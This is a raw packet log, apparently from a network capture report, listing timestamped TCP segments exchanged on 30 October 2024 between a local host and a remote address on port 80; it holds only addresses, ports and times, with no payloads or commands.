Oct 30, 2024 15:44:45.327045918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.329266071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.329287052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.329315901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.332281113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.332302094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.332324982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.334546089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.334577084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.334594011 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.334597111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.334636927 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.337599039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.337622881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.337661028 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.339773893 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.339796066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.339843988 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.342861891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.342884064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.342945099 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.345072985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.345096111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.345156908 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.348093033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.348115921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.348135948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.348160028 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.350336075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.350358009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.350394011 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.353364944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.353385925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.353415966 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.355622053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.355643988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.355668068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.358606100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.358627081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.358647108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.358670950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.358694077 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.360928059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.360950947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.361010075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.363918066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.363940001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.363987923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.366209984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.366233110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.366281033 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.369224072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.369245052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.369291067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.371471882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.371495008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.371515036 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.371535063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.374512911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.374535084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.374572992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.376763105 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.376794100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.376832008 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.379792929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.379828930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.379847050 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.382108927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.382145882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.382158041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.382179976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.382221937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.385056973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.385092974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.385159969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.387433052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.387470007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.387516975 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.390297890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.390311003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.390355110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.392663956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.392676115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.392729044 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.395584106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.395602942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.395613909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.395656109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.397897959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.397911072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.397949934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.400813103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.400825977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.400870085 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.403194904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.403208017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.403244972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.406075954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.406090021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.406099081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.406126976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.406155109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.408453941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.408467054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.408508062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.411307096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.411324978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.411381006 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.413741112 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.413753986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.413794994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.416549921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.416563034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.416623116 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.418970108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.418982983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.418994904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.419029951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.421804905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.421819925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.421870947 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.424231052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.424243927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.424274921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.427042961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.427056074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.427105904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.429482937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.429497004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.429507971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.429543018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.429560900 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.432315111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.432328939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.432369947 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.434743881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.434756994 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.434808016 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.437586069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.437598944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.437640905 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.440000057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.440013885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.440047979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.442986012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.442998886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.443031073 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.806679964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806715965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806737900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806757927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806777000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806788921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806802034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806799889 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.806843042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.806866884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806878090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806889057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806899071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806906939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.806915045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806931973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806931973 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.806946039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806956053 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.806957006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806963921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806973934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806986094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.806998014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.807001114 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.807024002 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.807636976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.807655096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.807686090 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.808794022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.808836937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.808865070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.810264111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.810312033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.810333014 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.812138081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.812189102 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.812206030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.813915968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.813961029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.813978910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.815690041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.815737009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.815788984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.817543983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.817588091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.817595005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.819371939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.819411039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.819444895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.821178913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.821191072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.821227074 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.823081970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.823128939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.823148012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.824892044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.824934006 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.824938059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.826716900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.826761007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.826769114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.828455925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.828474045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.828497887 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.829853058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.829896927 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.829910040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.831242085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.831285000 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.831321955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.832737923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.832781076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.832782984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.834048986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.834089994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.834116936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.835460901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.835499048 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.835530996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.836848021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.836891890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.836903095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.838248968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.838259935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.838298082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.839637041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.839648008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.839692116 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.841008902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.841049910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.841125011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.842384100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.842428923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.842459917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.843789101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.843827009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.843835115 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.844964027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.844983101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.845005989 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.846142054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.846184969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.846204042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.847301006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.847342968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.847376108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.848332882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.848376989 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.848406076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.849392891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.849436045 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.849455118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.850409985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.850450039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.850524902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.851459026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.851502895 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.851510048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.852513075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.852530956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.852552891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.853559971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.853601933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.853614092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.854615927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.854626894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.854659081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.855659008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.855671883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.855705976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.856770992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.856813908 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.856837988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.857779026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.857819080 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.857846022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.858721018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.858766079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.858768940 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.859674931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.859718084 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.859745026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.860585928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.860604048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.860629082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.861427069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.861469030 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.861522913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.862304926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.862346888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.862366915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.863121033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.863162994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.863178968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.863943100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.863979101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.863986015 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.864820957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.864860058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.864989042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.865498066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.865541935 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.865617990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.866286993 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.866328001 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.866329908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.867113113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.867156029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.867160082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.867940903 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.867959023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.867983103 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.868700027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.868741035 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.868767023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.869565964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.869602919 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.869627953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.870280027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.870326042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.870353937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.871073961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.871093035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.871164083 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.871802092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.871869087 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.871871948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.872560024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.872603893 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.872656107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.873359919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.873373032 CET	80	49995	147.45.47.81	192.168.2.6
